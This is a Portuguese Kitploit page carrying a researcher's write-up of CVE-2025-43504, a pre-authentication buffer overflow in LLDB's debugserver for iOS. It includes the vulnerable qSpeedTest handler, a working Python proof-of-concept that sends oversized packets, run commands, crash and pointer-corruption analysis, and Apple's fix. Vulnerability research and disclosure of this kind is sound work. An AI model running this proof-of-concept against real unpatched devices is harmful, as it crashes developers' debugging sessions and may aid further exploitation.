Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-43504 — Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração. | Kitploit
Ferramentas/GitHubGitHub/calysteon/cve-2025-43504
Segurança iOSAnálise de VulnerabilidadesExploraçãoDepuradoresPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração.

Ver Repositório
5há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Quando Bons /bins Se Tornam Maus: Um Estouro de Pré-autenticação Remota no debugserver do LLDB


Introdução

Quando eu crescia, sempre gostava de vasculhar as lixeiras de DVD no meu Walmart local. Notei que muitos dos mesmos filmes eram deixados em cima, mas se você realmente cavasse, encontraria títulos mais interessantes e de nicho.

Quando um programa estoura um buffer, você está essencialmente alcançando sua lixeira de pechinchas. Dependendo de quão longe você alcança, os DVDs - ou neste caso, as estruturas sobrescritas na memória - podem mudar.

A /bin de pechincha de hoje é CVE-2025-43504: Um estouro de buffer global de pré-autenticação remota que encontrei no debugserver do LLDB.

Como Chegamos Aqui?

Durante o desenvolvimento de aplicativos, os desenvolvedores frequentemente precisam depurar seu aplicativo em um dispositivo iOS físico. Para conseguir isso, o Xcode monta uma Imagem de Disco de Desenvolvedor no iPhone alvo e então emparelha com ele.

Uma vez emparelhado, o host macOS pode se comunicar com o cliente iOS usando o debugserver instalado no cliente. Agora, qualquer cliente que possa estabelecer uma sessão GDB remota com o do dispositivo pode alcançar o manipulador e estourar o buffer vulnerável.

debugserver
qSpeedTest

Vamos dar uma olhada na página de lançamento de segurança do Xcode 26.1 para entender melhor como a Apple categorizou o CVE-2025-43504:

CVE-2025-43504

Devido às mitigações de software modernas, a Apple considera os estouros de buffer principalmente como um problema de negação de serviço, em vez de uma primitiva de corrupção. Como exploraremos hoje, isso geralmente é verdade, pois um invasor precisará superar vários obstáculos e provavelmente combinar esse problema com outro bug para conseguir execução arbitrária de código.

Um Pequeno Passo para o Pwn, um Grande Salto para a Pwnkind

Se você quiser experimentar uma versão sem correção do debugserver, use o seguinte commit ou qualquer commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Você Vai Precisar de um Debugger Maior

Antes da correção em RNBRemote.cpp, qualquer usuário remoto que pudesse se conectar ao debugserver de um dispositivo iOS poderia enviar um pacote qSpeedTest de pré-autenticação para RNBRemote::HandlePacket_qSpeedTest e corromper estruturas adjacentes no segmento de dados globais do debugserver.

No entanto, há uma ressalva importante: controlamos apenas o tamanho da corrupção. O conteúdo do payload é fixo em um fluxo de caracteres 'a'. Embora os alunos possam gostar das notas consistentemente altas, a utilidade prática desse estouro é bastante limitada pelo fato de não podermos controlar os bytes reais que estão sendo escritos - apenas o quão longe a enxurrada de 'a's vai.

Agora, vamos dar uma olhada nos bastidores de RNBRemote::HandlePacket_qSpeedTest para ver exatamente o que está acontecendo:

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

A função de RNBRemote::HandlePacket_qSpeedTest() é processar pacotes qSpeedTest:response_size:<hex>; recebidos sem exigir autenticação de um usuário remoto que possa se comunicar com o binário debugserver do dispositivo iOS.

No entanto, uma vez que um usuário remoto é capaz de enviar um pacote qSpeedTest:response_size:<hex>; para debugserver, nenhuma verificação de autenticação ocorre dentro do debugserver antes de processar o response_size fornecido pelo usuário. Portanto, qualquer usuário que possa se comunicar com um dispositivo iOS montado com uma Imagem de Disco de Desenvolvedor é capaz de estourar o debugserver através de um pacote qSpeedTest:response_size:<hex>;.

Apenas Continue Nadando, Nadando, Nadando

Agora que chegamos à função vulnerável RNBRemote::HandlePacket_qSpeedTest(), vamos examinar exatamente como o estouro ocorre. Primeiro, o tamanho <hex> fornecido pelo usuário no pacote qSpeedTest:response_size:<hex>; é extraído e armazenado na variável response_size:

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Se o parsing for bem-sucedido e o próximo caractere for um ponto e vírgula, um buffer estático local à função de 4 MiB + 16 bytes g_data é inicializado e preenchido com o cabeçalho ASCII "data:":

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, eu fiz de novo

Juntando tudo, memset então preenche o buffer estático de 4 MiB + 16 bytes g_data com 'a' usando o valor response_size controlado pelo usuário como o número de 'a's a serem usados.

root@kitploit:~
  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Portanto, sempre que um cliente LLDB remoto envia um pacote qSpeedTest:response_size:<hex>; com um response_size maior que o buffer de 4 MiB + 16 bytes, ocorre um estouro de buffer e corrompe variáveis globais adjacentes armazenadas no segmento de dados globais (.bss) do debugserver.

Quando Bons /bins Se Tornam Maus

Agora que entendemos a arquitetura por trás do estouro, vamos mergulhar na mecânica real da vulnerabilidade. Para começar, vamos usar o seguinte programa Python para explorar as primitivas de corrupção obtidas através do estouro de g_data:

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: Sem Crash

Após lançar o debugserver, executamos o seguinte comando python3 e fornecemos o response_size de 4004AB:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

Notamos que o debugserver não trava e retorna normalmente:

No Crash

Embora estejamos tecnicamente fora dos limites, g_data é terminado com um byte \0, então o ponteiro de função de registro vizinho g_log_callback é apenas sobrescrito por um byte NULL, mantendo o ponteiro inteiro NULL.

response_size 0x4004AC - 0x40052B: Primeiro Erro de Barramento

Após lançar o debugserver, executamos o seguinte comando python3 e fornecemos o response_size de 0x4004AC:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

Great Scott!

First Bus Error

Ao fornecer um byte adicional, ultrapassamos a cauda NULL e acabamos desreferenciando o ponteiro vizinho g_log_callback com um valor de 0x61, resultando em uma falha. Agora, vamos incrementar continuamente nosso parâmetro --size em um e ver o que acontece:

Overflow Timelapse

Como podemos ver, agora controlamos o valor de g_log_callback. Bem, parcialmente, na verdade controlamos apenas quantos bytes em g_log_callback seriam iguais a 0x61.

Podemos ver isso ocorrer em _DNBLogVAPrintf:

root@kitploit:~
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

Como g_log_callback não é NULL, o mutex é bloqueado e prossegue para chamar nosso ponteiro corrompido e trava. Agora, após um response_size de 0x4004B3, paramos de ver qualquer mudança real no endereço de falha ou no stack trace correspondente até que um offset de 0x7F seja adicionado ao response_size. Logicamente, isso faz sentido, porque uma vez que o ponteiro g_log_callback é corrompido, qualquer corrupção subsequente em outras estruturas de registro se torna irrelevante devido à falha inicial ao desreferenciar g_log_callback.

Curiosamente, em uma versão de produção do macOS anterior à correção, consegui usar esse controle parcial de ponteiro para sobrescrever vários ponteiros de espaço do usuário na memória:

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

Por algum motivo, o byte final de cada endereço era sempre incrementado em 0x8 bytes. No entanto, se fôssemos capazes de resolver o problema de alinhamento criado pelos bytes terminais 0x6169, e de alguma forma fôssemos capazes de prever e controlar os dados desreferenciados pelo ponteiro sobrescrito, teoricamente seríamos capazes de redirecionar o fluxo de controle e eventualmente obter execução de código.

response_size 0x40052C - 0x402C62: Erro abort()

Discutimos brevemente o bloqueio do mutex antes de desreferenciar o ponteiro corrompido g_log_callback. Agora, no response_size de 0x40052C, o próprio mutex se torna corrompido:

abort() Error

Notamos que o problema apareceu quando _DNBLogVAPrintf executou a construção lock_guard:

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

Com base no stack trace, vemos que lock_guard falha quando __m_.lock é chamado:

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

Sou uma Função Interpretando uma Função Disfarçada de Outra Função

Examinando mais, vamos dar uma olhada na definição da função std::recursive_mutex:

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

Parece ser um wrapper para __libcpp_recursive_mutex_lock:

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

Que por sua vez parece ser um wrapper para pthread_mutex_lock:

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

Que é outro wrapper para _pthread_mutex_lock)... Mas não precisamos ir tão longe.

Porque o ponteiro pthread_mutex_t é corrompido pelo nosso estouro, pthread_mutex_lock lança std::system_error("recursive_mutex lock failed") e o programa então lança um abort() e termina.

Devido ao abort do programa, a exploração do response_size entre 0x40052C e 0x402C62 é significativamente mais desafiadora, pois estamos corrompendo uma primitiva de sincronização, dadas as verificações adicionais realizadas pelo macOS.

response_size 0x402C63 e Além: Último Erro de Barramento

Agora, quando usamos um response_size de 0x402C63 ou maior, a CPU falha em RNBRemote::HandlePacket_qSpeedTest assim que memset ultrapassa o limite para qualquer página de guarda ou região não mapeada que o kernel colocou após o segmento .bss na memória:

Final Bus Error

Esta variante final de estouro não é tão interessante, pois não há uma maneira direta de controlar a execução do programa.

Apenas Corrija (Corrija)

Agora que cobrimos o problema em si, vamos examinar como a Apple corrigiu:

Patch

De acordo com a descrição da correção,

Altere esta alocação para ser na heap e imponha um tamanho máximo que possa ser testado (4MB, por enquanto).

Vemos duas mudanças principais:

  1. A alocação está na heap, em vez de no segmento de dados globais (.bss) do debugserver
  2. Um tamanho máximo de 4MB é imposto na alocação, onde anteriormente nenhuma verificação de tamanho era realizada.

Adeus, e Obrigado pelos Peixes

Dado o extenso ecossistema de código fechado por trás do software e sistemas da Apple, é sempre um desafio descobrir e entender defeitos de software de forma confiável.

No entanto, sempre existem dependências de código aberto nas quais a Apple confia, e se você encontrar um problema em uma delas, há chances de que efeitos possam ser sentidos a jusante.

Boa sorte na caça e não se esqueça de divulgar responsavelmente quaisquer problemas que encontrar 😉

Baixar ferramenta